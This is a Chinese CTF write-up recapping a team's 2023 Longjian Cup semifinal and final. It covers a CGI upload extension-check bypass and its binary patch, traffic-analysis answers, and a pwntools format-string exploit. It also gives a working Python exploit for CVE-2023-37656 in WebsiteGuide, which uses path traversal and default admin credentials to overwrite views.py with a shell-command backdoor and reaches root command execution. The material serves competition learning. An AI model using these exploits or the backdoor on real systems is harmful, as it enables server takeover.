2023陇剑杯复盘

FishFarming

2023陇剑杯半决赛

半决赛战况

半决赛得分

  • 战况: 逐日组 10th. 总排名 24th.
  • 第一天体验海星,靠通防上大分😅

半决赛 Writeup

实景防御

  • MINIGAME、SafeNote、staticFix 直接 evilPatcher 上通防就能 fix
  • webpwn_ 队内的 web👴🏻 整的

ImageHost

  • 这是一个 cgi 程序(upload.cgi),所做工作是接收 POST 上来的文件数据,提取文件名,验证文件后缀是否合法,验证通过则随机生成文件名拼接后缀保存,并返回文件名

main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
undefined8 FUN_001015ff(void)

{
int iVar1;
int iVar2;
char *pcVar3;
size_t sVar4;
char *pcVar5;
char *pcVar6;
char *pcVar7;
void *__ptr;
ssize_t sVar8;

pcVar3 = getenv("REQUEST_METHOD");
if ((pcVar3 == NULL) || (iVar1 = strcasecmp(pcVar3,"POST"), iVar1 != 0)) {
FUN_001015c8("Invalid request method");
return 0;
}
pcVar3 = getenv("CONTENT_LENGTH");
if (pcVar3 == NULL) {
FUN_001015c8("No data received");
return 0;
}
iVar1 = atoi(pcVar3);
if ((iVar1 < 1) || (0x500000 < iVar1)) {
FUN_001015c8("Invalid content length");
return 0;
}
pcVar3 = malloc(iVar1);
if (pcVar3 == NULL) {
FUN_001015c8("Memory allocation failed");
return 0;
}
sVar4 = fread(pcVar3,1,iVar1,stdin);
if (sVar4 != iVar1) {
FUN_001015c8("Failed to read content");
free(pcVar3);
return 0;
}
pcVar5 = strstr(pcVar3,"\r\n\r\n");
if (pcVar5 == NULL) {
FUN_001015c8("Failed to find file data");
free(pcVar3);
return 0;
}
iVar1 = iVar1 - ((pcVar5 + 4) - pcVar3);
pcVar6 = strstr(pcVar3,"filename=\"");
if (pcVar6 == NULL) {
FUN_001015c8("Failed to find filename");
free(pcVar3);
return 0;
}
pcVar6 = pcVar6 + 10;
pcVar7 = strchr(pcVar6,L'\"'); // 提取文件名
if (pcVar7 == NULL) {
FUN_001015c8("Failed to find end of filename");
free(pcVar3);
return 0;
}
iVar2 = pcVar7 - pcVar6;
pcVar7 = malloc(iVar2 + 1);
if (pcVar7 == NULL) {
FUN_001015c8("Memory allocation failed");
free(pcVar3);
return 0;
}
strncpy(pcVar7,pcVar6,iVar2);
pcVar7[iVar2] = '\0';
iVar2 = FUN_001013c9(pcVar7); // FUN_001013c9 这个函数进行后缀名合法检查
if (iVar2 == 0) {
FUN_001015c8("Invalid file type");
free(pcVar3);
free(pcVar7);
return 0;
}
pcVar6 = strrchr(pcVar7,L'.');
if (pcVar6 == NULL) {
FUN_001015c8("Failed to find file extension");
free(pcVar3);
free(pcVar7);
return 0;
}
__ptr = FUN_00101506(pcVar6);
if (__ptr == NULL) {
FUN_001015c8("Failed to generate filename");
free(pcVar3);
free(pcVar7);
return 0;
}
pcVar6 = FUN_00101473(__ptr);
if (pcVar6 == NULL) {
FUN_001015c8("Failed to generate file path");
free(pcVar3);
free(pcVar7);
free(__ptr);
return 0;
}
iVar2 = open(pcVar6,0x241,0x1ed);
if (iVar2 == -1) {
FUN_001015c8("Failed to open file");
free(pcVar3);
free(pcVar7);
free(__ptr);
free(pcVar6);
return 0;
}
sVar8 = write(iVar2,pcVar5 + 4,iVar1);
if (sVar8 != iVar1) {
FUN_001015c8("Failed to write file data");
free(pcVar3);
free(pcVar7);
free(__ptr);
free(pcVar6);
close(iVar2);
return 0;
}
close(iVar2);
free(pcVar3);
puts("Content-Type: text/plain\n");
printf("%s",__ptr);
free(pcVar7);
free(__ptr);
free(pcVar6);
return 0;
}

漏洞在这 FUN_001013c9 函数里头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
undefined8 FUN_001013c9(char *param_1)

{
char *pcVar1;
undefined8 uVar2;

pcVar1 = strchr(param_1,L'.');
if ((pcVar1 == NULL) ||
(((((*pcVar1 != '.' || (pcVar1[1] != 'j')) || (pcVar1[2] != 'p')) || (pcVar1[3] != 'g')) &&
(((*pcVar1 != '.' || (pcVar1[1] != 'p')) || ((pcVar1[2] != 'n' || (pcVar1[3] != 'g')))))))) {
uVar2 = 0;
}
else {
uVar2 = 1;
}
return uVar2;
}
  • 这个函数想要找到后缀并验证后缀是否为 .jpg.png,但使用的是 strchr 函数,是从左侧找到第一次匹配的 .,如果上传的文件名为 xxxx.jpg.txt 即可绕过该检查
  • 绕过后可通过构造软连接读取任意已知路径文件
  • 修复方式也很简单,前面主函数 001018be 处看到有用 strrchr,直接将 FUN_001013c9 函数中的 CALL strchr 修改为 CALL strrchr 即可(从右侧找第一次匹配的.

image-20230916101153357

这里在 Ghidra patch 时可以看到 call 的地址是 0x00101230,找到这个地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                     **************************************************************
* THUNK FUNCTION *
**************************************************************
thunk char * strchr(char * __s, int __c)
Thunked-Function: <EXTERNAL>::strchr
char * RAX:8 <RETURN>
char * RDI:8 __s
int ESI:4 __c
<EXTERNAL>::strchr XREF[2]: FUN_001013c9:001013e5(c),
FUN_001015ff:001017d1(c)
00101230 f3 0f 1e fa ENDBR64
00101234 f2 ff 25 JMP qword ptr [-><EXTERNAL>::strchr] char * strchr(char * __s, int __c)
45 2d 00 00

往下一点找 strrstr:

1
2
3
4
5
6
7
8
9
10
11
12
                     **************************************************************
* THUNK FUNCTION *
**************************************************************
thunk char * strrchr(char * __s, int __c)
Thunked-Function: <EXTERNAL>::strrchr
char * RAX:8 <RETURN>
char * RDI:8 __s
int ESI:4 __c
<EXTERNAL>::strrchr XREF[1]: FUN_001015ff:001018be(c)
00101250 f3 0f 1e fa ENDBR64
00101254 f2 ff 25 JMP qword ptr [-><EXTERNAL>::strrchr] char * strrchr(char * __s, int _
35 2d 00 00

把调用的地址从 0x00101230 改成 0x00101250 就行, 用 Ghidra 的 patch,选这个修改字节最少的(1字节): e8 46 fe ff ff 👉 e8 66 fe ff ff

image-20230916101857277

Ghidra Patch 之后导出的程序有大问题,直接服务异常;最后还是得用 IDA Pro 来 Patch,把这一个字节改了就能 fix 成功

Ghidra Patch 之后导出的程序单看文件大小:修改前 18KB,patch后13KB(不晓得扬了啥);提交使用 Ghidra Patch 后的程序的检查结果是服务异常【挖个坑,以后再看看为啥】

TODO

guide

  • 这个是CVE-2023-37656 👉 https://github.com/mizhexiaoxiao/WebsiteGuide/issues/12
  • 👴🏻🚪当时没整出来:
    • 👉 fix: 检查文件后缀是否是 png,不是就给它 ban 了
    • 👉 check结果: EXP 利用成功
    • 👉 竟然不行,不管了看别的了
  • check的应该是任意文件写的问题吧,当时没往这方面想(👴🏻太菜了
  • 赛题的环境复现的有点问题,就直接拿最新的docker镜像复现漏洞利用了:

漏洞在 websiteapp/views.pyclass IconViewSet(View) 的 post 方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def post(self, request):
id = request.POST.get('id')
name = request.POST.get('name')
if str(name) == "default.png":
return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'})
file = request.FILES.get('file')
save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name) # 这里能任意文件写,并且没有对文件类型进行限制
ins = models.WebSite.objects.filter(id=id).first()
if ins:
ins.icon = name
ins.save()
try:
with open(save_path, 'wb') as f:
for chunk in file.chunks():
f.write(chunk)
return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''})
except Exception as e:
return JsonResponse({"code": 500, "msg": "替换失败", "detail": e})
else:
return JsonResponse({"code": 404})

漏洞利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
# -*- coding:utf-8 -*-

import requests

login_url = "http://localhost:8002/api/login/"
vuln_url = "http://localhost:8002/api/icon/"

login_form = {
"username": "admin",
"password": "admin@1234"
}

multiform_data = {
"id": (None, "1"),
"name": (None, "../../views.py"), # 覆盖掉原来的 views.py
"file": ("a.png", open("./payload.py", "rb"), 'image/png')
}

s = requests.Session()
res = s.post(login_url, data=login_form).json()
auth_token = res["detail"]["token"]

headers = {
"Authorization": auth_token
}
res = s.post(vuln_url, files=multiform_data, headers=headers)

print(res.text)

这里的 payload.py 基于原本的 views.py 修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 在刚刚的icon上传接口处加一个命令执行接口, 覆盖掉原来的 views.py
def post(self, request):
id = request.POST.get('id')
name = request.POST.get('name')
p = Popen(name, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate()
if p.returncode == 0:
return JsonResponse({"code": 200, "msg": "execute success", "detail": stdout.decode('utf-8')})
if str(name) == "default.png":
return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'})
file = request.FILES.get('file')
save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name)
ins = models.WebSite.objects.filter(id=id).first()
if ins:
ins.icon = name
ins.save()
try:
with open(save_path, 'wb') as f:
for chunk in file.chunks():
f.write(chunk)
return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''})
except Exception as e:
return JsonResponse({"code": 500, "msg": "替换失败", "detail": e})
else:
return JsonResponse({"code": 404})

重启服务之后再次访问接口,测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
login_url = "http://localhost:8002/api/login/"
vuln_url = "http://localhost:8002/api/icon/"

login_form = {
"username": "admin",
"password": "admin@1234"
}
datas = {
"id": (None, "1"),
"name": (None, "id"),
"file": ("a.png", b"aaa", 'image/png'),
}
s = requests.Session()
res = s.post(login_url, data=login_form).json()
auth_token = res["detail"]["token"]

headers = {
"Authorization": auth_token
}
res2 = s.post(vuln_url, files=datas, headers=headers)
print(res2.text)

# {"code": 200, "msg": "execute success", "detail": "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"}

数据分析

soeasy

  1. 登录的密码是多少,请输入 md5 加密的 32 位小写字符串

这是一个 FTP 流量包,筛选 ftp 流量,直接就能看到登录成功时所使用的的密码

image-20230916103735687

1
2
echo -n test | md5sum -t -
098f6bcd4621d373cade4e832627b4f6 -

小坑: 直接用命令算 md5 时注意换行符

  1. 被加密的字符串是多少

从流量包中可以提取出以下文件:

  • private_key.pempublic_key.pempy.txtencrypted.txt
  • 即:私钥、公钥、加密用的 python 脚本、加密后的数据

对照加密脚本写个解密脚本就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

def encrypt_message(message, public_key_path):
with open(public_key_path, 'rb') as f:
public_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(public_key)
encrypted_message = cipher.encrypt(message.encode())
return encrypted_message

def decrypt_message(message, private_key_path):
with open(private_key_path, "rb") as f:
key_data = RSA.importKey(f.read())
private_key = PKCS1_OAEP.new(key_data)
decrypted_data = private_key.decrypt(message)
return decrypted_data


if __name__ == '__main__':
with open("encrypted.txt.bin", "rb") as f:
data = f.read()
data = decrypt_message(data, "./private_key.pem")
print(data)

执行脚本得到加密的数据:8dhn3edfna93rAPN

  1. 图片中隐藏的数字是多少 【这题没整出来】

FTP 传输流量中有一个 11.zip,其中包含有一个 11.bmp 图片,打开是这样:

非原图

根据图片大小 ( biSizeImage: 8957952 )、图片宽度 ( biWidth: 2304 ) 和比特数 ( biBitCount: 16 ) 信息计算出高度为 19448957952/2304/(16/8) 】, 修改后得到:

还是非原图

然后就卡这了,提交了一顿没个对的,谁能告诉👴🏻这数字不是 30104023010402 还能是啥

session、easy_shiro

  • 队内 web👴🏻🚪 整的

人工智障

  • 🤖没拉到本地,还得手搓
  • 全是pwn入门题目,思路在各题目描述里也有,根据思路手搓就行

fmt3_x64

其中 fmt3_x64 的格式化字符串漏洞覆盖 fini_array 操作头一次用,记录一下这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *

# io = process("./fmt3_x64")
io = remote("172.16.7.10", 11473)
elf = ELF("./fmt3_x64")

io.sendafter(b"your fmt >>>\n", flat([
b"%01784d" # 0x06f8 -> 0x4006f8 -> backdoor
b"%8$hnAAAA",
p64(0x006009b8), # fini_array addr
b"\n"
]))

io.interactive()

2023陇剑杯总决赛

被暴打的战况

image-20230918204745722

  • 👴🏻🚪太菜了,被虐麻了,愣是一个都没 patch 成功
  • 第二天体验极其煎熬,通防不好使了😅
  • 战况: 总排名 60th.

总决赛 Writeup

TODO: 等先忙活完最近的事情再来补吧

实景防御

  • 原本想上来先 patch 一个好上分,然后再去 RHG 赛道启动一下🤖
    • 没想到直接 patch 了一天也没 patch 成功一个😅

TODO

数据分析

TODO

人工智障

TODO